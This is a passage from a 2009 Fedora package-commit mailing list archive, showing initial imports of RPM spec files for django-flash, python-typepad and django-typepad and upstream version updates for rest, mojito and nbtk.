chmod 0755 $RPM_BUILD_ROOT%{python_sitelib}/djangoflash/tests/testproj/manage.py


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS LICENSE README
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.6.2-2
- remove unneeeded BRs

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.6.2-1
- initial packaging


--- NEW FILE import.log ---
django-flash-1_6_2-2_fc11:F-12:django-flash-1.6.2-2.fc11.src.rpm:1255198696


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/django-flash/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:54:31 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:20:04 -0000	1.2
@@ -0,0 +1 @@
+django-flash-1.6.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/django-flash/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:54:31 -0000	1.1
+++ sources	10 Oct 2009 18:20:04 -0000	1.2
@@ -0,0 +1 @@
+55888998683177c6b95e94b4a200a0f2  django-flash-1.6.2.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:21:03 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:21:03 +0000 (UTC)
Subject: rpms/django-flash/F-11 django-flash.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010182103.060BA11C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/django-flash/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11790/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	django-flash.spec import.log 
Log Message:
initial import



--- NEW FILE django-flash.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           django-flash
Version:        1.6.2
Release:        2%{?dist}
Summary:        A Django extension to provide support for Rails-like flash

Group:          Development/Languages
License:        BSD
URL:            http://djangoflash.destaquenet.com/
Source0:        http://pypi.python.org/packages/source/d/%{name}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django

%description
A simple Django extension that provides support for Rails-like flash messages.

The flash is a temporary storage mechanism that looks like a Python
dictionary, so you can store values associated with keys and later retrieve
them. It has one special property: by default, values stored into the flash
during the processing of a request will be available during the processing
of the immediately following request. Once that second request has been
processed, those values are removed automatically from the storage.


%prep
%setup -q


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT
chmod 0755 $RPM_BUILD_ROOT%{python_sitelib}/djangoflash/tests/testproj/manage.py


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS LICENSE README
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.6.2-2
- remove unneeeded BRs

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.6.2-1
- initial packaging


--- NEW FILE import.log ---
django-flash-1_6_2-2_fc11:F-11:django-flash-1.6.2-2.fc11.src.rpm:1255198843


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/django-flash/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:54:31 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:21:02 -0000	1.2
@@ -0,0 +1 @@
+django-flash-1.6.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/django-flash/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:54:31 -0000	1.1
+++ sources	10 Oct 2009 18:21:02 -0000	1.2
@@ -0,0 +1 @@
+55888998683177c6b95e94b4a200a0f2  django-flash-1.6.2.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:23:33 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:23:33 +0000 (UTC)
Subject: rpms/python-typepad/devel import.log, NONE, 1.1 python-typepad.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010182333.35F7E11C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-typepad/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12148/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-typepad.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-typepad-1_0-1_fc11:HEAD:python-typepad-1.0-1.fc11.src.rpm:1255198935


--- NEW FILE python-typepad.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-typepad
Version:        1.0
Release:        1%{?dist}
Summary:        Connectivity to the TypePad API through remote objects

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/python-typepad-api/
Source0:        http://pypi.python.org/packages/source/t/typepad/typepad-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-batchhttp python-httplib2 python-oauth python-remoteobjects python-simplejson

%description
The typepad package contains RemoteObject implementations for TypePad's
content objects and an OAuth client for making authenticated requests to
the API.

%prep
%setup -q -n typepad-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-typepad/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:57:11 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:23:32 -0000	1.2
@@ -0,0 +1 @@
+typepad-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-typepad/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:57:11 -0000	1.1
+++ sources	10 Oct 2009 18:23:33 -0000	1.2
@@ -0,0 +1 @@
+374e278abb7a8b985ea3a0d2f0908f42  typepad-1.0.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:25:02 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:25:02 +0000 (UTC)
Subject: rpms/python-typepad/F-12 import.log, NONE, 1.1 python-typepad.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010182502.C21CD11C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-typepad/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12621/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-typepad.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-typepad-1_0-1_fc11:F-12:python-typepad-1.0-1.fc11.src.rpm:1255199080


--- NEW FILE python-typepad.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-typepad
Version:        1.0
Release:        1%{?dist}
Summary:        Connectivity to the TypePad API through remote objects

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/python-typepad-api/
Source0:        http://pypi.python.org/packages/source/t/typepad/typepad-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-batchhttp python-httplib2 python-oauth python-remoteobjects python-simplejson

%description
The typepad package contains RemoteObject implementations for TypePad's
content objects and an OAuth client for making authenticated requests to
the API.

%prep
%setup -q -n typepad-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-typepad/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:57:11 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:25:02 -0000	1.2
@@ -0,0 +1 @@
+typepad-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-typepad/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:57:11 -0000	1.1
+++ sources	10 Oct 2009 18:25:02 -0000	1.2
@@ -0,0 +1 @@
+374e278abb7a8b985ea3a0d2f0908f42  typepad-1.0.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:27:32 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:27:32 +0000 (UTC)
Subject: rpms/python-typepad/F-11 import.log, NONE, 1.1 python-typepad.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010182732.D093211C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-typepad/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13229/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-typepad.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-typepad-1_0-1_fc11:F-11:python-typepad-1.0-1.fc11.src.rpm:1255199139


--- NEW FILE python-typepad.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-typepad
Version:        1.0
Release:        1%{?dist}
Summary:        Connectivity to the TypePad API through remote objects

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/python-typepad-api/
Source0:        http://pypi.python.org/packages/source/t/typepad/typepad-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-batchhttp python-httplib2 python-oauth python-remoteobjects python-simplejson

%description
The typepad package contains RemoteObject implementations for TypePad's
content objects and an OAuth client for making authenticated requests to
the API.

%prep
%setup -q -n typepad-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-typepad/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:57:11 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:27:32 -0000	1.2
@@ -0,0 +1 @@
+typepad-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-typepad/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:57:11 -0000	1.1
+++ sources	10 Oct 2009 18:27:32 -0000	1.2
@@ -0,0 +1 @@
+374e278abb7a8b985ea3a0d2f0908f42  typepad-1.0.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:29:17 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:29:17 +0000 (UTC)
Subject: rpms/django-typepad/devel django-typepad.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010182917.78E7A11C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/django-typepad/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13816/devel

Modified Files:
	.cvsignore sources 
Added Files:
	django-typepad.spec import.log 
Log Message:
initial import



--- NEW FILE django-typepad.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           django-typepad
Version:        1.0.1
Release:        1%{?dist}
Summary:        A helper Django app for making TypePad applications

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/typepadapp/
Source0:        http://pypi.python.org/packages/source/t/typepadapp/typepadapp-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django python-batchhttp python-feedparser python-httplib2
Requires:       python-oauth python-remoteobjects python-simplejson python-typepad

%description
The typepadapp Django application provides all the necessary
underpinnings for you to build TypePad cloud applications.

%prep
%setup -q -n typepadapp-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT
chmod 0755 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/conf/project_template/app.wsgi
chmod 0644 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/static/soundmanager/soundmanager2.js
chmod 0644 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/static/soundmanager/soundmanager2-nodebug-jsmin.js

%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


--- NEW FILE import.log ---
django-typepad-1_0_1-1_fc11:HEAD:django-typepad-1.0.1-1.fc11.src.rpm:1255199314


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/django-typepad/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:57:50 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:29:17 -0000	1.2
@@ -0,0 +1 @@
+typepadapp-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/django-typepad/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:57:50 -0000	1.1
+++ sources	10 Oct 2009 18:29:17 -0000	1.2
@@ -0,0 +1 @@
+b60f7c4768264f56d40736c548a82c67  typepadapp-1.0.1.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:30:11 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:30:11 +0000 (UTC)
Subject: rpms/django-typepad/F-12 django-typepad.spec, NONE, 1.1 import.log, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010183011.CB22111C02A0@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/django-typepad/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14065/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	django-typepad.spec import.log 
Log Message:
initial import



--- NEW FILE django-typepad.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           django-typepad
Version:        1.0.1
Release:        1%{?dist}
Summary:        A helper Django app for making TypePad applications

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/typepadapp/
Source0:        http://pypi.python.org/packages/source/t/typepadapp/typepadapp-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django python-batchhttp python-feedparser python-httplib2
Requires:       python-oauth python-remoteobjects python-simplejson python-typepad

%description
The typepadapp Django application provides all the necessary
underpinnings for you to build TypePad cloud applications.

%prep
%setup -q -n typepadapp-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT
chmod 0755 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/conf/project_template/app.wsgi
chmod 0644 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/static/soundmanager/soundmanager2.js
chmod 0644 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/static/soundmanager/soundmanager2-nodebug-jsmin.js

%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


--- NEW FILE import.log ---
django-typepad-1_0_1-1_fc11:F-12:django-typepad-1.0.1-1.fc11.src.rpm:1255199392


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/django-typepad/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:57:50 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:30:11 -0000	1.2
@@ -0,0 +1 @@
+typepadapp-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/django-typepad/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:57:50 -0000	1.1
+++ sources	10 Oct 2009 18:30:11 -0000	1.2
@@ -0,0 +1 @@
+b60f7c4768264f56d40736c548a82c67  typepadapp-1.0.1.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:31:38 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:31:38 +0000 (UTC)
Subject: rpms/django-typepad/F-11 django-typepad.spec, NONE, 1.1 import.log, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010183138.C4AFA11C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/django-typepad/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14633/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	django-typepad.spec import.log 
Log Message:
initial import



--- NEW FILE django-typepad.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           django-typepad
Version:        1.0.1
Release:        1%{?dist}
Summary:        A helper Django app for making TypePad applications

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/typepadapp/
Source0:        http://pypi.python.org/packages/source/t/typepadapp/typepadapp-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django python-batchhttp python-feedparser python-httplib2
Requires:       python-oauth python-remoteobjects python-simplejson python-typepad

%description
The typepadapp Django application provides all the necessary
underpinnings for you to build TypePad cloud applications.

%prep
%setup -q -n typepadapp-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT
chmod 0755 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/conf/project_template/app.wsgi
chmod 0644 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/static/soundmanager/soundmanager2.js
chmod 0644 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/static/soundmanager/soundmanager2-nodebug-jsmin.js

%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


--- NEW FILE import.log ---
django-typepad-1_0_1-1_fc11:F-11:django-typepad-1.0.1-1.fc11.src.rpm:1255199460


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/django-typepad/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:57:50 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:31:37 -0000	1.2
@@ -0,0 +1 @@
+typepadapp-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/django-typepad/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:57:50 -0000	1.1
+++ sources	10 Oct 2009 18:31:37 -0000	1.2
@@ -0,0 +1 @@
+b60f7c4768264f56d40736c548a82c67  typepadapp-1.0.1.tar.gz



From pbrobinson at fedoraproject.org  Sat Oct 10 18:42:06 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 18:42:06 +0000 (UTC)
Subject: rpms/rest/devel .cvsignore, 1.5, 1.6 rest.spec, 1.6, 1.7 sources,
	1.5, 1.6
Message-ID: <20091010184206.935D611C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/rest/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17802

Modified Files:
	.cvsignore rest.spec sources 
Log Message:
- New upstream 0.6.1 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rest/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	19 Aug 2009 13:59:57 -0000	1.5
+++ .cvsignore	10 Oct 2009 18:42:04 -0000	1.6
@@ -1 +1 @@
-librest-0.6.tar.bz2
+librest-0.6.1.tar.bz2


Index: rest.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rest/devel/rest.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- rest.spec	19 Aug 2009 13:59:57 -0000	1.6
+++ rest.spec	10 Oct 2009 18:42:05 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           rest
-Version:        0.6
-Release:        3%{?dist}
+Version:        0.6.1
+Release:        1%{?dist}
 Summary:        A library for access to RESTful web services
 
 Group:          System Environment/Libraries
@@ -44,7 +44,7 @@ sed -i 's|echo|exit 0|g' autogen.sh
 
 %build
 %configure --disable-static --enable-gtk-doc
-make %{?_smp_mflags}
+make %{?_smp_mflags} V=1
 
 %install
 rm -rf %{buildroot}
@@ -63,17 +63,23 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING README
-%{_libdir}/librest.so.0
-%{_libdir}/librest.so.0.0.0
+%{_libdir}/librest-0.6.so.0
+%{_libdir}/librest-0.6.so.0.0.0
+%{_libdir}/librest-extras-0.6.so.0
+%{_libdir}/librest-extras-0.6.so.0.0.0
 
 %files devel
 %defattr(-,root,root,-)
-%{_includedir}/rest
-%{_libdir}/pkgconfig/rest.pc
-%{_libdir}/librest.so
-%{_datadir}/gtk-doc/html/%{name}
+%{_includedir}/rest-0.6
+%{_libdir}/pkgconfig/rest*
+%{_libdir}/librest-0.6.so
+%{_libdir}/librest-extras-0.6.so
+%{_datadir}/gtk-doc/html/%{name}-0.6
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.6.1-1
+- New upstream 0.6.1 release
+
 * Wed Aug 19 2009 Peter Robinson <pbrobinson at gmail.com> 0.6-1
 - New upstream 0.6 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rest/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	19 Aug 2009 13:59:57 -0000	1.5
+++ sources	10 Oct 2009 18:42:05 -0000	1.6
@@ -1 +1 @@
-47f9357835885f4cfa0087eeda31659b  librest-0.6.tar.bz2
+1b590b1209861f07b4fd6d1c5795e990  librest-0.6.1.tar.bz2



From pbrobinson at fedoraproject.org  Sat Oct 10 18:44:11 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 18:44:11 +0000 (UTC)
Subject: rpms/mojito/devel .cvsignore, 1.11, 1.12 mojito.spec, 1.20,
	1.21 sources, 1.11, 1.12
Message-ID: <20091010184411.8142511C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/mojito/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18693

Modified Files:
	.cvsignore mojito.spec sources 
Log Message:
- Update to 0.21.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	2 Oct 2009 16:31:39 -0000	1.11
+++ .cvsignore	10 Oct 2009 18:44:11 -0000	1.12
@@ -1 +1 @@
-mojito-0.21.2.tar.bz2
+mojito-0.21.3.tar.bz2


Index: mojito.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/mojito.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- mojito.spec	2 Oct 2009 16:31:39 -0000	1.20
+++ mojito.spec	10 Oct 2009 18:44:11 -0000	1.21
@@ -1,5 +1,5 @@
 Name:           mojito
-Version:        0.21.2
+Version:        0.21.3
 Release:        1%{?dist}
 Summary:        A social network data aggregator
 
@@ -105,6 +105,9 @@ rm -rf %{buildroot}
 %{_libdir}/libmojito-keystore.so
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.3-1
+- Update to 0.21.3
+
 * Fri Oct  2 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.2-1
 - Update to 0.21.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Oct 2009 16:31:39 -0000	1.11
+++ sources	10 Oct 2009 18:44:11 -0000	1.12
@@ -1 +1 @@
-cea1f50897d35b4e6731cdfeaef24f11  mojito-0.21.2.tar.bz2
+c887bd7c2dc6611388f6bc1812717e46  mojito-0.21.3.tar.bz2



From pbrobinson at fedoraproject.org  Sat Oct 10 18:47:28 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 18:47:28 +0000 (UTC)
Subject: rpms/nbtk/devel .cvsignore, 1.7, 1.8 nbtk.spec, 1.29, 1.30 sources, 
	1.8, 1.9
Message-ID: <20091010184728.CE2B611C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/nbtk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19156

Modified Files:
	.cvsignore nbtk.spec sources 
Log Message:
- New upstream 1.1.7 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	17 Sep 2009 15:50:24 -0000	1.7
+++ .cvsignore	10 Oct 2009 18:47:28 -0000	1.8
@@ -1 +1 @@
-nbtk-1.1.4.tar.bz2
+nbtk-1.1.7.tar.bz2


Index: nbtk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/devel/nbtk.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- nbtk.spec	17 Sep 2009 17:44:42 -0000	1.29
+++ nbtk.spec	10 Oct 2009 18:47:28 -0000	1.30
@@ -1,6 +1,6 @@
 Name:           nbtk
-Version:        1.1.4
-Release:        5%{?dist}
+Version:        1.1.7
+Release:        1%{?dist}
 Summary:        A toolkit for moblin NetBooks
 
 Group:          System Environment/Libraries
@@ -86,6 +86,9 @@ rm -rf %{buildroot}
 %doc %{_datadir}/gtk-doc/html/%{name}
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 1.1.7-1
+- New upstream 1.1.7 release
+
 * Thu Sep 17 2009 Peter Robinson <pbrobinson at gmail.com> 1.1.4-5
 - And once more with feeling.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	17 Sep 2009 16:37:06 -0000	1.8
+++ sources	10 Oct 2009 18:47:28 -0000	1.9
@@ -1 +1 @@
-09900da8376a652f9ab4039390dcb311  nbtk-1.1.4.tar.bz2
+34cff44f9258e0d9b5d846773dd8d0b2  nbtk-1.1.7.tar.bz2



From pbrobinson at fedoraproject.org  Sat Oct 10 18:53:01 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 18:53:01 +0000 (UTC)
